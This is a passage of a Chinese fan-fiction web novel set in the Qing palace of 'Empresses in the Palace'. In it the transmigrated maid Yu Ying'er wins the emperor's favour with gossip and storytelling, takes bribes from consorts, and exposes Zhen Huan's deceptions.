余莺儿心想,还有这好事?不用伺候老男人,就是不知道吃的好不好。 “多谢皇上!” 她笑的十分有感染力,惹得皇上今晚那空落落的思念都消散了个干净。 “苏培盛,给莺儿准备些合适的衣裳,再分配一个宫女过去伺候着。” 皇上心想,自己的贴身大宫女,可不能寒碜了。 而苏培盛却仍旧在消化今晚那跌宕起伏的变化。 本以为那张脸就能立于不败,谁能想到回来后皇上最先想到的是这个名不见经传的小宫女呢。 不过他想归想,还是利索的准备好了皇上吩咐的东西。 “皇上,今晚您要守夜吗?” 余莺儿是个嘴闲不住的,安静一会儿就想说话。 皇上看了眼余莺儿摇了摇头:“明日初一,朕还有不少事务要处理。” 余莺儿坐在皇上下面的脚踏上,撑着下巴打了个哈欠:“当皇上可真累啊,那您睡吧,奴婢要给你守夜吗?” 皇上笑着拨弄了一下余莺儿头上唯一的绢花。 “不用,有苏培盛在,你去洗洗也休息吧。” 余莺儿笑着把手里的一个荷包塞进了皇上手里:“给您,奴婢看您挺喜欢今天的莞常在的,这是奴婢在雪地里捡到的,给您留个念想。” 说完,余莺儿背影都透露着开心的回到自己的单独小屋子睡觉去了。 而皇上有些愣神的看着手里的荷包,突然就不喜欢了。 这朦朦胧胧反复拉扯的情感还没落到实处,突然被挑破了怎么有一种很鸡肋的感觉呢? 那荷包倒是清雅,只不过没什么特别,皇上看了一眼就扔给了苏培盛处理。 苏培盛:给你机会你不中用啊莞常在。 第353 章 余莺儿2 苏培盛不愧是皇上身边第一贴心人,一晚上的时间就给余莺儿准备了三身合身的换洗衣裳和答应规制的首饰脂粉。 伺候的宫女也到位了,是包衣黄佳氏,名管彤,原本是养心殿的三等宫女,从前负责去后宫跑腿送赏赐。 管彤是皇上登基后重新筛选进宫的第一批包衣,在宫里头底蕴不算深,但也不是毫无根基。 养心殿的人,余莺儿用的很放心。再说了,她可是皇上身边的大宫女,那些后宫娘娘们必须巴结!不然她就说她们坏话! “管彤,去御膳房要些干炒的瓜子花生来,想来皇上今儿也没功夫听我献殷勤了。” 余莺儿虽然是宫女,但苏培盛却是按照答应小主的架势给安置的,所以皇上不召见时,她其实挺自在的。 “诶,奴婢这就去。” 管彤原本就是因为闲不住做不了那木头桩子似的三等宫女的活计才主动把整理杂物的活儿换给了一同入宫的同伴碧鲁氏。碧鲁氏这姓氏在外头少见,但在内庭,可不算是小势力。 管彤又得了喜欢的活儿,又讨好了家里有人的碧鲁秋香,一举两得美滋滋。 若是余莺儿现在要一桌子好些的饭菜可能难办点,毕竟初一的御膳房得先紧着上头。 但瓜子花生这类的小件,给一个轻巧的银锞子就能换上好几盘。管彤甚至都没有掏钱,她们御前的人,谁敢收钱啊。 余莺儿的屋子只有一张床和一个能放下两个碗的小桌子,这在宫女里算是顶天儿的好地方了。 她把桌子搬到床尾处,自个儿脱了鞋盘在床上一边嗑着瓜子一边和管彤唠嗑。 “那你嫂嫂就这么不声不响的把这口气咽下去了?” 余莺儿瞪大了眼睛不可置信的问道,声音不自觉的拔高了起来。 管彤叹了口气,明明和余莺儿差不多的岁数,却做出一副老态龙钟的模样:“不咽下去怎么办?谁叫我哥哥是个没出息的,他养家的银钱都是人家花楼的女子出的。” 余莺儿竖了一个大拇指给管彤,去外头吃富婆养家这时髦的事也是叫管彤哥哥遇上了。 门口突然传来一阵轻咳,管彤和余莺儿面不改色的把桌子上的东西一股脑的倒在小笸箩里。 余莺儿起身整理自己皱皱巴巴的衣裳,管彤拍拍手去开门。 “是厦公公,可是皇上有事?” 余莺儿夹着嗓子,一点听不出刚才东家长西家短的豪迈。 小厦子在门口听了个尾巴,心里头像是有猫爪子挠痒痒似的,只恨自己不是女儿身,不能凑上去一起听一听。 “皇上叫姑娘去伺候呢。” 虽然原主是小厦子亲手勒死的,但不妨碍余莺儿现在和他打听八卦。 至于今后会不会暴露,她自个儿都是个宫女儿呢,保不住别人的。 “诶,我这就去。” 管彤已经快速整理好了余莺儿的衣着,随即后退一步微微福了一下身子。 她本就是在养心殿后头的房间,到皇上常待的偏殿也不过片刻的功夫。 “奴婢给皇上请安。” 养心殿的地龙烧的真是热乎啊,不过余莺儿还是更喜欢系统那冬暖夏凉的小科技,随时自动调节,简直是怕冷又怕热的人的福利。 “起来吧。” 皇上已经看完了余莺儿的生平,不得不说是个干净又简单的人。 “给朕磨墨。” 皇上的语气很是低沉,余莺儿自认是懂得看眼色的机灵人,所以立刻抓着墨条迅速转动起来。 她力气大,好好的墨条很快就见了消耗。 皇上叹了口气,有些心疼自己的墨条。 “你太用力了。” 余莺儿嘿嘿傻笑一声:“奴婢就是瞧您不太高兴,若是您有那解决不了的人,看奴婢不顺眼把奴婢解决了可怎么办。” 皇上都要被气笑了,他看起来就是那么粗暴的皇帝吗? “说什么蠢话。” 叫苏培盛打了水进来,看着余莺儿的手再次恢复白皙才拿起笔低着头继续看自己的折子。 “你如何知道朕不高兴的?” 余莺儿歪了歪脑袋,手还在尽职尽责的磨墨。 “看出来的啊,皇上您把脸拉拉着,一看就不痛快。” 这都是什么形容词?粗鄙!没文化! 皇上嫌弃着,但又对敏锐的余莺儿格外宽容。 “你倒是机灵。” 余莺儿得了夸奖很来劲,把今日管彤分享给她的八卦又分享给了皇上。 “皇上您说,这是不是就叫围魏救赵?” 故事简单,也不算跌宕起伏,但经过余莺儿那张声情并茂的嘴,听起来就是很带劲。 “什么围魏救赵,你读些书吧。” 总感觉这成语用对了地方,但又有些奇怪。 “皇上,那是另外的价钱。” 皇上难得有些懵的抬起头,看着余莺儿有些怂的表情再次确认道:“另外的价钱?” 他从来没见过如此厚颜无耻和他这个皇上讨价还价的人,尤其是,这人还是他亲手提携上来的宫女。 余莺儿突然萎了下来:“皇上,您别生气啊。” 皇上‘哼’了一声,听着倒不算严肃。 “你倒说说看,如何是另外的价钱?” 余莺儿怂怂的蹲下来给皇上捶腿,仰着脸满是谄媚:“那您不能生气。” 宫里的人都是刻板的,规矩极好的,就连一向张扬的华妃都不曾有这么多没什么用的小心思。 是的,余莺儿所有的作为在皇上看来都是没用的,上不得台面的。不谋划以后,不为家族谋利,不入流的手段他还是挺喜欢的,因为简单,不用考虑利弊。 “说吧,朕不生你气。” 虽然皇上说了不生气,但余莺儿还是站起了身后退了一步:“皇上,您现在给的俸禄银子就是不识字的宫女的,要想要识字的宫女,得加钱。” 苏培盛在旁边站着都觉得这宫女疯了,跟皇上要俸禄也是第一人了。 “哈哈哈。” 皇上却听的很高兴,很久没有听到这么朴实的心愿了。 “好,你若是一个月内能识得大部分的字,朕便做主给你加十两银子,两个月内会背三十首古诗,再加十两银子。半年内若是会写字,也加十两,如此,可好?” 余莺儿的眼睛随着皇上的话越来越亮。 “皇上您就是戏文里所说的福大命大掌天下的有道明君吧!” 她的表情有些夸张,但这番话实在说到了皇上的心里。 “哦?刚还说你不读书,你还知道这些?” 余莺儿扭捏的站到皇上身后假装忙碌的给皇上捶肩膀:“奴婢的爹爹是唱戏的,只可惜奴婢听过的词儿多,但擅长的也只有昆曲罢了。” 皇上只感觉到肩膀上的手胡乱动了两下,一点也不尽职尽责。 “昆曲,好,唱一个给朕听听。” 余莺儿‘咳咳’了两声,开口便是一曲【游园惊梦】。 虽然并不是专业的,嗓音条件也不过比寻常人强些,但她投入啊。 皇上手里可是捏着一个圆滚滚胖乎乎的金元宝呢,不把皇上唱满意了,余莺儿自己都不能答应!那可是对金子的不尊重! 第354 章 余莺儿3 平日里拿着一等宫女的俸禄,享着贵人的福利,每天最烦恼的事不过是感叹甄嬛还在碎玉轩缩着没有冒头,搞的她搅事都没什么成就感。 皇上早起有苏培盛伺候的周周到到,下了早朝还要和大臣们讨论会儿政务,一直到巳时中,才是余莺儿需要上工的时辰。 这日天总算是放了晴,管彤一边给她梳着头发,一边说着今日的后宫新闻。 “今早那位沈贵人被泼了一身水,请安还迟到了,听说离开景仁宫的时候脸色可难看。” 管彤自来到余莺儿身边后,秋香和她的联络也多了起来。 都是为了利益,管彤和余莺儿交待的很清楚,余莺儿也接住了碧鲁氏示好的橄榄枝,后宫的风吹草动,再没有比她听的更加清楚了。 “不泼她泼谁?贵人的位分就敢染指宫权,真是好大一张脸。” 作为紫禁城第一刻薄实时点评家,余莺儿习惯性的翻了个白眼,这事她站华妃,谁让华妃给的多呢。 别看她才来养心殿没多久,华妃可是第一个收到信儿并且给了两个金元宝的。 余莺儿理所当然的在皇上面前用了三分力来给华妃说好话。 皇上对此也是知情的,毕竟余莺儿是个分享欲极为茂盛的人。 至于为什么是三分,一分价钱一分货。她现在可是御前的人,可不是两个金元宝就能随随便便打发的小宫女了。 管彤认同的点了点头,虽然华妃娘娘在后宫的名声差点,但在她们这些奴才间名声还是不错的。 只要碰上了说上两句吉祥话,一般都有赏赐拿。 “这是皇上派人送来的狐狸皮的暖脖,说是今日化雪,要带姑娘去外头走一走呢。” 余莺儿进了养心殿就没出过门,她是个特别能随遇而安的人,宅半年也行,疯跑半年也行。 皇上瞧着余莺儿仅限嘴上本事高,丝毫不提出门的话还和苏培盛嘲笑过余莺儿是窝里横。 “皇上的眼光就是好,这红狐皮果然极衬肤色。” 皇上本人是个十分闷骚的性格,他特别喜欢听家长里短狗血连篇的故事。但又碍于身份和面子,除了在奏折上问一句那些主动跟他分享琐事的后续,并没有其他的来源。 如今余莺儿填补了他内心缺失的好奇心,皇上已经单方面的把余莺儿视为了知己。 管彤也含着笑意蹲下给余莺儿整理了衣角。 “走吧姑娘,皇上在等着了。” 管彤陪着余莺儿一同往外走,呼吸到新鲜空气的两人露出同款惬意表情。 “皇上您用膳了吗?” 余莺儿认为自己的大老板还是得经常关心一下的,毕竟给的钱是真不少。 皇上看了一眼穿的并不算特别厚实的余莺儿皱了皱眉:“怎的穿如此单薄?” 怀疑的眼神瞬间到了苏培盛头上,毕竟余莺儿的事务皇上都交给了苏培盛来办。 余莺儿心眼子一转立刻开口告状:“奴婢只有这些衣裳啊,除了皇上前两日赏赐的斗篷,奴婢没有厚实的袄子穿。” 皇上抬步走到余莺儿身边,伸手摸了摸余莺儿的手。 “如此冰凉,怎么没披着斗篷?” 早在想要使坏的时候余莺儿就把冬暖夏凉的外挂给撤了下来,她穿的确实不多,寒风像是找到了组织一般疯狂往她身上贴。 “那可是皇上御赐的呢,奴婢要好好收着,以后供起来,肯定可以光宗耀祖的!” 她的虚荣心就是这么重,皇上咂了两下嘴,又无语又骄傲。 苏培盛赶紧上来请罪,他确实不是故意的,毕竟这段时间余莺儿比后宫的娘娘们都受宠,他又不是那眼皮子浅的人。 只是苏培盛还是没有料到皇上对余莺儿的纵容,本以为这跟养心殿的宫女没有什么区别,能看到的地方只有养心殿的房梁和地砖。 所以准备的衣裳虽然布料不错,但都不是特别厚实防风的,毕竟养心殿的地龙很热。 不过归根究底,还是苏培盛没把余莺儿当回事,皇上身边存在过太多各式各样的婢子了,苏培盛有却始终在。 “算了,今儿不去了,先回去。” 皇上虽然身上有很多毛病,但对他正上心着的人,还是很有人性的。 “那奴婢给皇上讲笑话。” 苏培盛弓着身子悄悄离开,他得先把这个窟窿填上。 “奴婢听说今早沈贵人被泼了一身水,皇上您知道了吗?” 华妃刚进门就听到这熟悉的声音,她摸了摸自己的耳坠子,总觉得来的不太凑巧。 “莺儿姑娘倒是消息灵通。” 华妃给皇上行礼都不需要完全蹲下去,皇上会自觉的下来把人拉起来。 瞧着皇上笑呵呵的没有搭话的意思,余莺儿得意的抬着下巴:“回华妃娘娘的话,奴婢确实什么都知道些,毕竟是皇上的大宫女,可不能叫人小瞧了去。” 华妃掩着嘴笑了笑,只要不是皇上收在后宫的女人,她都能理智的和人相处。 “莺儿姑娘确实厉害。” 这话说的真心实意,虽然为人粗鄙又不太懂礼数,但那张嘴可真是利索。 “她哪里厉害,小厦子的腿都跑折了,功劳全给了她这张嘴。” 皇上毫不客气的戳破了余莺儿的得意,拿他御前的人当跑腿的,就连华妃都不敢这么干。 余莺儿得到的消息确实过了一手给小厦子,但也不是全部。 前头说了,管彤那好姐妹是碧鲁氏秋香,而碧鲁氏一族在外头基本是见不到的,他们世代在内庭任职。 只不过也因为如此,家族血脉太纯了,你们懂的,近亲生产的危害。 所以到了秋香这一代,为数不多的健康孩子看到了包衣太后乌雅氏的辉煌,想要为之奋斗一把。 当然了,也是余莺儿表示了没有那份心思,他们也算是半推半就的承了这份情。 虽然彼此都不够信任,但小厦子能得来那么多消息,碧鲁氏确实出了不少力。 而余莺儿的最终目的,就是把碧鲁氏的姑娘送到皇上的床上。 至于能不能得宠能不能生下皇子带领家族一飞冲天,那就不是现在这个价钱了。 余莺儿自然也有自己的小心思,她如今的工作基本不用上工。 早上睡到自然醒,不用去景仁宫请安,有钱拿有很高的地位,只要稳住了皇上,她就能混到是个人都要尊称一句余姑姑的地位。 这不比踏入后宫那摊浑水好的多吗? “皇上,华妃娘娘,您二位就说,奴婢说的是不是比小厦子公公说的有趣儿吧。” 余莺儿并不以此为耻反而引以为荣。 华妃笑着看了一眼身后的颂芝,把一匣子米粒大小的珍珠递给了余莺儿。 “说的好,本宫赏你的。” 余莺儿笑的一脸得意,大声的谢了恩。 皇上叹气摇头,培养了这么久 ,还是看着钱就跟人跑了,没救了。 不过要是让他真把余莺儿给华妃,那皇上是舍不得的。余莺儿那张嘴太会说了,她甚至还会说书,这两天晚上皇上就靠着风流王爷俏尼姑的故事入睡呢! 余莺儿:用你的绿帽子哄你睡,你就说我敬业不敬业吧! 第355 章 余莺儿4 至于皇上的御膳,则被赏赐给了养心殿的宫人,余莺儿拿了大头。 不得不说皇上吃的是真好的,余莺儿以一己之力消灭掉快一整桌子的菜。 其实大部分都被她转移到了空间里,只不过旁人不知道罢了。 她们只知道余姑娘是个肚能撑船的奇女子。 下午皇上办公,余莺儿在一旁的脚踏上坐着发呆。 本以为今日的工作就这么平平淡淡的结束,傍晚时皇后又来了一趟。 话里言外的把没侍寝的安答应给推了上去。 皇上想了想,拒绝了皇后。 今日的风流王爷俏尼姑该到高潮了,他不能因为一个没印象的女人打断了每日听书的节奏。 “不急,朕这几日政务繁多,肃国公等人上折子称你拒了肃国公福晋的帖子,可有此事?” 现在任何一个打扰皇上听书的都不是什么好东西,皇上本就对这事有很大的意见,此时提出来,也是为了把皇后撅回去。 皇后哪里能想到皇上突然发难,她眼珠子转了一圈迅速给自己找到了理由。 “除夕时庄亲王福晋等人对华妃和年羹尧行事颇有不满,臣妾想着年羹尧如今正是得用之时,便推拒了其她福晋的对牌。” 皇上看了一眼皇后,表情显然是不信的。 这理由糊弄弘时母子还可以,后宫但凡换个人都不会信的。 “你若是无事就去伺候太后。” 皇上这话明显是叫皇后不要多管闲事的意思,皇后自然听的明白。 她面色不变的行礼离开,回到景仁宫把桌子上那支玉台金盏踩在了脚底下。 “废物。” 剪秋知道皇后说的是安陵容,她心里也是这么认为的。 “多亏娘娘费心为她筹谋,却连皇上的面都见不到,娘娘,这样的人不值得您浪费精力。” 皇后支着脑袋眼神阴鹜:“安陵容是最合适的,她出身卑微,又和莞常在,沈贵人两人交好。若是用的好,也能掀起一片波澜。” 说到这里,皇后看了一眼剪秋:“你去安答应那里说一声,不是本宫不帮她,皇上政务繁忙,让她稍安勿躁。” 剪秋应了一声,还没转身就被皇后的声音再次打断脚步:“还有,问问余姑娘,皇上那里可是有什么事情。” 余莺儿的客户很多,皇后也是其中之一。毕竟她是比苏培盛更近身些的大宫女,知道些更多的消息,很正常吧。 只是皇后不如华妃大气,所以余莺儿只跟她交换一些边角料的消息,绝不说一句好话。 “皇上您瞧,这是剪秋刚来送给奴婢的。” 余莺儿捧着一把银瓜子献宝似的给皇上显摆。 皇上看了一眼,有了华妃那两个金元宝的对比,皇后确实有些小家子气了。 “给你你就收着,皇后又想打探什么消息?” 余莺儿发展了皇上作为她的合伙人,虽然皇上不缺这仨瓜俩枣的银子,但是缺贴心人啊。 余莺儿只是把皇上今日想听的好话方向传达一下,自有后宫千娇百媚的娘娘们哄着皇上开心。 皇上得了美人,余莺儿得了银子,双赢。 “就是觉得皇上您没有那么忙,问奴婢您天天都在干什么。” 这银瓜子还是空心的!余莺儿很愤怒,她要让皇后知道知道语言的魅力! 皇上果然皱紧了眉头,神色十分的不虞。 “哼,皇后是当朕跟她一样吗?” 余莺儿把银瓜子往怀里一揣,立刻挪到皇上身前给他捶腿。 “剪秋临走的时候还叫奴婢跟您提一提安答应呢。皇上,这安答应可是有什么过人之处不成?” 剪秋确实有这个意思,她觉得银子给够了,余莺儿就得听话办事。可惜她这个皇后大宫女的身份并不能叫余莺儿有什么敬畏。 皇上努力回想,什么也没想起来。 “你呢,你没什么小道消息吗?” 余莺儿一听这话就知道自己的本事显现出来了。 “奴婢跟您说,这安答应可是一个奇人,这后宫的宫人总能瞧见她巴巴的从延禧宫绕路到碎玉轩坐着。到底是好姐妹,也不怕传染了病气。” 余莺儿不提,皇上都险些忘了碎玉轩的莞常在。 她这么一说,除夕夜的狼狈似乎又历历在目。 “情同姐妹,也是有的。” 皇上干巴巴的说了一句,他对这两个人一个没印象一个好印象变坏印象,也算是殊途同归了。 “不过皇上,莞常在到底生了什么病?怎么这么久还没好?选秀不是要检查身体吗?像莞常在这种长年累月病着的秀女也行吗?” 余莺儿可是正经小选进宫的宫女,那一层层检查比医院防疫还严格呢。 这话叫皇上心头升起了疑惑,确实啊,若是莞常在有这么大的毛病,根本走不到御前殿选。 不过他只是淡淡的看了一眼余莺儿,眼里都是揶揄的嘲笑:“你不是号称宫里的百事通吗?怎么还有你不知道的事?” 拿这话挑衅一个靠吃瓜为生的女人,余莺儿瞬间起了好胜心。 “那是奴婢手里头没人,皇上您信不信,您只要给奴婢仨瓜俩枣的,奴婢定能给您查个水落石出!” 皇上是知道余莺儿是个喜欢刨根问底又直来直往的人,所以他很好奇余莺儿究竟能不能担负的起这份工作。 “那朕就把小厦子和小琦子给你,如何?” 小厦子是个能说会道的,而小琦子,若是余莺儿没记错的话,是高无庸的徒弟吧。 因为他师傅现在在雍和宫守着,没能被带进紫禁城。所以他这个徒弟也被苏培盛排斥,只得了养心殿边角料的碎活儿。 “没问题,包在奴婢身上。” 皇上轻轻动了动手指,暗处的夏刈也跟着动了起来。 不过他并没有把余莺儿当回事,一个小宫女,还能跟他这个训练有素的暗卫比呢? 三天后,看着余莺儿条理分明的把莞常在入宫后的所作所为摆了出来的夏刈:要不跟我们暗卫混上一混? “怎么样?奴婢就说奴婢很能干的吧!” 余莺儿完全看不到皇上难看的脸色,那满脸骄傲的样子看的苏培盛眼皮子都紧,要不是皇上看着,他真想说一声:莺儿姑娘,快收了神通吧,皇上要气死了。 “你是如何办到的?” 皇上把怒气压住,还是有些不敢相信余莺儿比夏刈更厉害。 “这算什么?这宫里头最不缺的就是宫女和太监,奴婢可是皇上您身边的大宫女,奴婢想要问什么,那简直是轻轻松松毫不费力。” 余莺儿丝毫没有狗仗人势的心虚,她完全沉浸在自己的成功里无法自拔。 皇上的怒火神奇的平复了不少。 “而且,莞常在不过是个新入宫的常在,碎玉轩的宫人哪里就那么轻易的认她为主了?不得宠,没有好处,宫人们又不傻。” 真的是很简朴的道理,皇上不得不承认自己办事真的是直中取曲,全都复杂了。 “你做的好,那依莺儿之见,朕应当怎么处罚莞常在呢?” 皇上是有些不忍心处罚小纯元,毕竟是个难得的手办。本以为余莺儿知道自己的心意,会顺着给个台阶,小惩大诫。 没想到余莺儿咧着嘴一脸兴奋:“这可是欺君!皇上您还是想想莞常在这么大的胆子跟谁学的吧。” 好有道理的话,皇上听进去了。 第356 章 余莺儿5 涉及到朝臣,余莺儿能办的事情就很少了。虽然在余莺儿的对比下夏刈稍显无用,但皇上现在还不能毫无芥蒂的把余莺儿放到外头海阔天空凭鱼跃去。 余莺儿撇了撇嘴,有些嫌弃的看了一眼一板砖就能送走的暗卫首领。 皇上好笑的拽了拽余莺儿鼓起的脸颊,语气里带了些又气又笑的复杂情绪。 “你那是什么样子?朕的暗卫还能比你差了不成?” 余莺儿顺着皇上的力道往他的方向倒了倒,她又不傻,当然要对自己好不容易养出来的肉好一点。 “不是奴婢跟您吹牛,那些满清老臣大姓宗亲奴婢确实毫无办法,但这甄家,奴婢说不得有的是办法呢!” 皇上闻言哈哈大笑,这妮子也太狡诈了,先把不能得罪的排除出去,竟挑那软柿子来捏。 “你呀你,这次可要朕配合你?” 皇上也确实对余莺儿起了惜才的心思,一个宫女,就算嘴上不饶人些,行为又不比多年训练的人有素,不仅引不起别人的注意,说不得还真能带来些惊喜。 余莺儿眼睛一亮,皇上今天很大方嘛! “当然要了,奴婢首先得要一个独一无二的腰牌。” 她的双手画了一个圆,提出了一个堪称最便宜的要求。 皇上想了想,走到桌子前提笔画了个雏形。 区别于御前宫人的椭圆形腰牌,余莺儿这个是正圆。 里头一个楷体的余字,四周缀了他最喜欢的菊花纹样。 “独一份的,看看可还喜欢?” 皇上对自己突如其来的灵感表示满意,他示意余莺儿看了一眼,那独具雍正特色的审美果然没有叫她失望。 “哇!好漂亮啊!皇上您怎么这么厉害,当的好皇上还能做大儒!” 皇上嘴角的笑意十分的矜持,但眼神里透漏出来的喜气还是叫苏培盛看的清清楚楚。 他危机感十足的往皇上身边蹭了蹭,总觉得这皇上身边第一人的地位有所不保。 “不过是随意之作,苏培盛,叫人赶制出来。” 苏培盛酸溜溜的拿着图纸到了内务府,皇上的事就是他们的第一等大事。 “好了,这样就够了?” 皇上好奇的看了眼余莺儿,余莺儿神秘的摇了摇头。 “皇上,这第二步,您该召幸安答应了。” 皇上皱着眉头看着余莺儿,表情显然是不乐意的。 余莺儿连忙走到皇上身后假装捏肩。 “皇上,奴婢能让您做您不乐意的事吗?放心吧,保管您想宠幸就宠幸,不想咱们就继续下一个故事。” 皇上立刻被转移了注意力,斜着眼看了余莺儿一眼:“什么故事?” 余莺儿眼珠子一转,给了皇上一个引人入胜的名字【真假格格勇闯紫禁城】。 “胡闹。” 皇上轻声呵斥一声,但好奇心已经被勾起,他确实被这个名字吸引到了。 “听闻从前有个极为自负的帝王,他总是打着体察民情的幌子出宫寻乐。遇到那貌美如花的女子便成全自己一段露水姻缘。有一年,这位帝王到了济州的地段,遇到了一个眼睛里总含着水光,琴棋书画无一不精的女子......” 余莺儿停了下来,然后换了个正经的腔调说道:“咱们皇上英勇神武勤政爱民,想来是不爱听这种桥段的。” 皇上无奈的叹了口气:“准了,不用等敬事房的人来了,叫小厦子去跑一趟吧。” 余莺儿扬着脸晃了晃,那骄傲的样子叫皇上想起了自己养的那只百福,也是这般小小好处就乐的找不着北。 如余莺儿所料,延禧宫的安陵容此刻正在碎玉轩坐着,小厦子来传旨时甄嬛和沈眉庄的神情皆是一怔。 不过她们很快就反应过来,笑着拉起安陵容的手恭喜她苦尽甘来。 如今的两人虽然有自己的小心思,对安陵容也并不如彼此那般真诚,但到底刚刚入宫,内心里总是保持着几分善意的。 “陵容,快回去等着,一会儿侍寝嬷嬷会来教你规矩。” 沈眉庄看了看时辰,现在也不算早了,与其在这里和她们一起激动,还不如早早回去准备着。 “是,姐姐们,陵容就先走了。” 安陵容激动的捏着帕子准备出去,却没发现甄嬛和沈眉庄二人的表情有些奇特。 “安小主慢走。” 浣碧的声音有些生硬,即使安陵容沉浸在喜悦也听的分明。 不过她看了眼甄嬛和沈眉庄两人,主人家无动于衷。 安陵容压下复杂的情绪,笑了笑离开了这里。 甄嬛并没有太过关注浣碧,反而是疑惑的看着沈眉庄道:“眉姐姐,若是我刚才没有看错,宝鹃那丫头......” 沈眉庄也轻轻皱着眉头,宝鹃的反应不太明显,但也有点古怪。 “再看看,咱们现在根基不稳,即便知道了又如何?” 甄嬛表示了赞同,两人便默契的翻过了这个话题,并且沈眉庄在心里对安陵容更升起了一丝防备。 而宝鹃确实是有一瞬间的惊讶,皇后没通知她有这个变动啊。 难不成真是皇上自己想起来延禧宫这位答应小主了? 理不清就跟着自己的职责干活,宝鹃在送走凤鸾春恩车后,悄摸摸的来到了景仁宫。 皇后对皇上的变卦也很惊奇,只不过她还算稳得住,一计不成还有别的计策,安陵容位卑,最好算计。 养心殿。 安陵容有些紧张的躺在龙床上,刚才给她沐浴的嬷嬷只简单提点了两句,她现在脑子里一片空白,只能自己努力深呼吸。 “安答应。” 余莺儿的声音突然响起,安陵容歪了歪头,紧紧捏着的手心儿已经被汗渍弄的湿黏一片。 “姑,姑娘好。” 安陵容不认识余莺儿,但能自由出入养心殿的女子,想必就是这段时间皇上身边的红人余莺儿姑娘了。 余莺儿没有拉开那层可以称得上是安陵容遮羞圣器的纱幔,只在外头扬了声音提醒道:“皇上有公务在身,怕是要晚些过来,安答应莫要着急。” 安陵容点了点头,想到余莺儿看不见,便说了一句“知道了”。 余莺儿站在外头斜倚着柱子,声音透过那不远的距离传到安陵容的耳朵里:“安答应,恕奴婢直言,您日日往碎玉轩去,莞常在又因病休养,您这身子......” 安陵容听了这话有些着急,她急急的为甄嬛辩解,余莺儿只是听了两句就打断了她。 “您和莞常在又不是姐妹?哪里就能了解那么多?” 安陵容是真的把甄嬛当做姐妹的,况且她在甄府那段时日很简单就能查到,所以她稍微组织了一下语言就说了出来。 余莺儿微微挑眉,冲着另一头的皇上得意的笑。 “那照你这么说,甄家主仆都没有来给你请安吗?你可是宫里的小主!即便是答应也是他们的主子!” 安陵容愣了一下,呐呐的张了张嘴,完全不知道怎么回话。 余莺儿见状也没有继续追问,反而语气里带了好奇的问道:“那你是见过莞常在娘亲了?是不是和莞常在一样漂亮?” 安陵容把那些想法压在心底,回想了一下甄母的样子谨慎开口:“是,莞常在有六七分像甄夫人,眉眼处最甚,口鼻处反而不太像了。” 余莺儿哪里能想到安陵容这么贴心,简直不需要继续多问了。 余莺儿离开时就看到皇上若有所思的样子,不过他也不是完全没了理智,只是拉着余莺儿往外走。 “瞧吧,安答应虽然位分不高,但毕竟是皇上您的妃妾,甄家都没有一个请安的,您看看,这对吗?这是不是,就叫一脉相承?” 余莺儿不放过任何一个可以挑事的机会,“努力”读书的好处这不就体现出来了。 皇上真的很认同这句话。 没用的夏刈,还不如莺儿一两句套话! 第357 章 余莺儿6 皇上某些时候也算得上是怜香惜玉,就是得看心情。 比如今日,他明显对不尊重皇室的甄家很生气,对当时代表了皇室的安陵容表示了不争气。 但是这扬戏还没完,安陵容没有被送回去在后宫人眼里就代表侍寝成功,余莺儿等的是浣碧这条大鱼。 碎玉轩平日的活计都是流朱和崔槿汐在做,浣碧经常负责去咸福宫跑跑腿什么的。 她本就对安陵容看不上眼,从安陵容在碎玉轩被通知侍寝到得知安陵容侍寝后得了柔字封号,便日也说夜也念叨,不顾里外的埋汰安陵容的出身。 这宫里的宫女不夸张的说,除了娘娘们自家带进来的,宫里的包衣宫女都愿意给余莺儿递个信儿。 余莺儿迅速带着养心殿的小琦子和小厦子在御花园假山处抓到了正在口出狂言的浣碧。 “这倒是奇了,一个奴才竟也想踩在主子头上了。” 余莺儿从来不掩饰自己张狂的性子,尤其是得势后,不过她比原主聪明,即使再猖狂也永远把自己伪装成弱小的形象,不仅降低了危险性,还增加了迷惑性。 浣碧没想到被人听见,她慌忙转身只看到一个穿着打扮类似贵人小主的女子。 “贵人恕罪,奴婢妄言了。” 余莺儿甩了甩帕子,翻白眼的样子格外的欠揍:“你是哪个宫里的?安答应如何得罪你了,叫你如此红口白牙的说道她?” 浣碧半跪在地上,和她聊天的小宫女更是哆哆嗦嗦的磕头:“余姑娘恕罪,余姑娘不关奴婢的事,奴婢只是碎玉轩的杂役宫女。” 浣碧愣了一下,反应过来这位就是沈贵人所说的御前红人余姑娘后,连唇色都白了。 这时候的浣碧还没有被甄嬛谈心,所以对于甄远道和她娘那点事并没有确切的认知。 在余莺儿搬出来皇上后,彻底认清了现实,哆哆嗦嗦把自己嫉妒安陵容和她的身世交代了出来。 浣碧这个人有野心但脑子又不如甄嬛好使,容易被忽悠,也架不住逼问。 更何况进宫这么久,除了一个夏冬春,还没有真正踏入后宫这片血腥土地,历练和实力都不达标,这才成为了余莺儿第二个下手的目标。 余莺儿又单独审问了那做捧哏似的小宫女,得知浣碧即使在碎玉轩也没给安答应好脸色看时,冷笑了一声。 “走,带去给皇上处理。” 她就说,夏刈不行!这是事实,不是污蔑。 皇上听完浣碧的自述,一脸懵的看向余莺儿。 这比他这几晚听的【真假格格】还夸张,即便是罪臣的女儿,左右那罪臣都去世了,改头换面即使做农户女也好过做奴婢吧? 余莺儿见自己的目的完成,挥挥手小琦子就把人带了下去。 她夸张的行了一礼站到皇上身前,那份得意都要冲破养心殿的屋顶了。 “皇上,奴婢做的怎么样?” 她多聪明啊,甄家那点事问甄家人不就得了,干嘛舍近求远的跑甄府扒拉。 皇上面色复杂,他真是没想到啊,他这紫禁城卧虎藏龙,小小一个宫女儿竟然有这样的本事。 “做的好,这次你立了功了,朕赏你一对金元宝。” 反正其它的首饰余莺儿都不常戴,皇上有时候也觉得余莺儿很矛盾,喜欢钱,但那些价值连城的珠翠并不会多做打扮,反而是喜欢抱着没什么用的金元宝。 余莺儿果然笑的没了眼睛:“多谢皇上!皇上您再有什么想知道的,先问奴婢,奴婢比夏刈好用。” 皇上失笑,这话他倒是没有反对。 余莺儿这边都结案了,夏刈还没回来呢。 皇上又惦记着上次柔答应说的甄母和莞常在相似的话,总觉得有什么事卡在脑子里,捋也捋不顺,想也想不通。 他看了眼捧着金元宝乐呵的余莺儿,假装不经意的问道:“往日都是你打听乐呵给朕说,朕这里也有一桩奇事你想不想听?” 余莺儿抬起头一脸好奇,但还是先把自己的金元宝塞进袖口才跟在皇上屁股后头等着解惑。 “从前有个王爷,得了一位貌若天仙的福晋,兄弟朝臣百姓无人不知两人恩爱。不过这位福晋红颜命薄,生产时不幸去世。几年后,这位王爷得了一个貌似先福晋的小妾,非亲非故,竟有如此相像之人,你觉得是何故?” 